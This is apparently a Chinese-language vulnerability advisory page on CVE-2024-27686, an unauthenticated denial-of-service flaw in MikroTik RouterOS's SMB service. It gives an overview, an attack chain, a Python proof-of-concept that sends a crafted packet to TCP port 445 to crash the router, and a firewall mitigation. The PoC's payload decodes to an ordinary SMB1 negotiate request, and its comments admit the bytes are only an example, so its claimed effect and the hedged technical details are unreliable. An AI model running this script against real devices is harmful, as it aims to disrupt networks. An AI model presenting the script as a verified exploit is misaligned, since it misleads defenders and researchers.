IPBUF安全漏洞报告
English
CVE-2024-27686 CVSS 7.5 高危

CVE-2024-27686 Mikrotik RouterOS SMB服务拒绝服务漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2024-27686
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mikrotik RouterOS

相关标签

拒绝服务MikrotikRouterOSSMBCVE-2024-27686

漏洞概述

Mikrotik RouterOS (x86) 6.40.5 至 6.49.10 版本中发现了一个高危安全漏洞。该漏洞源于 SMB 服务在处理网络数据包时存在缺陷,允许未经身份认证的远程攻击者向 TCP 445 端口发送精心构造的恶意数据包。成功利用此漏洞会导致目标设备发生崩溃或重启,从而造成拒绝服务,严重影响网络设备的可用性。官方已在 v7 版本中修复此问题。

技术细节

该漏洞源于 Mikrotik RouterOS (x86) 操作系统中 SMB 协议实现模块的安全缺陷。当 SMB 服务监听在 TCP 445 端口时,未能正确校验输入数据包的特定字段或长度,导致在解析过程中发生缓冲区溢出或空指针引用等逻辑错误。攻击者无需进行用户交互或身份认证,即可通过网络向受影响设备发送特制的恶意 SMB 数据包。由于 RouterOS 的网络服务处理机制,这种异常数据包会耗尽系统资源或触发内核级异常,从而导致设备立即崩溃或重启,造成拒绝服务。CVSS 3.1 评分 7.5,攻击复杂度低,影响范围广,严重威胁网络稳定性。受影响版本主要集中在 v6 分支,官方建议升级至 v7 分支以彻底规避风险。

攻击链分析

STEP 1
侦察
攻击者扫描网络,寻找开放 TCP 445 端口(SMB 服务)的 Mikrotik RouterOS 设备。
STEP 2
漏洞利用
攻击者向目标设备的 445 端口发送特制的恶意 SMB 数据包。
STEP 3
影响
RouterOS 设备处理异常数据包导致服务崩溃或内核重启,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2024-27686 # This script sends a crafted packet to the SMB service to trigger a DoS. import socket import sys def send_exploit(target_ip, target_port=445): try: # Crafted malicious packet structure (example based on typical SMB DoS) # Note: Actual offset/bytes may vary based on specific vulnerability analysis. payload = b"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00" print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) print("[*] Sending malicious payload...") s.send(payload) print("[+] Payload sent successfully. Check if the device has crashed.") s.close() except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip>") else: send_exploit(sys.argv[1])

影响范围

Mikrotik RouterOS (x86) 6.40.5 - 6.49.10

防御指南

临时缓解措施
对于无法立即升级系统的设备,建议通过防火墙规则限制对 TCP 端口 445 的访问,仅允许受信任的内部 IP 连接,或者在网络边界直接阻断该端口流量以防止远程攻击。

参考链接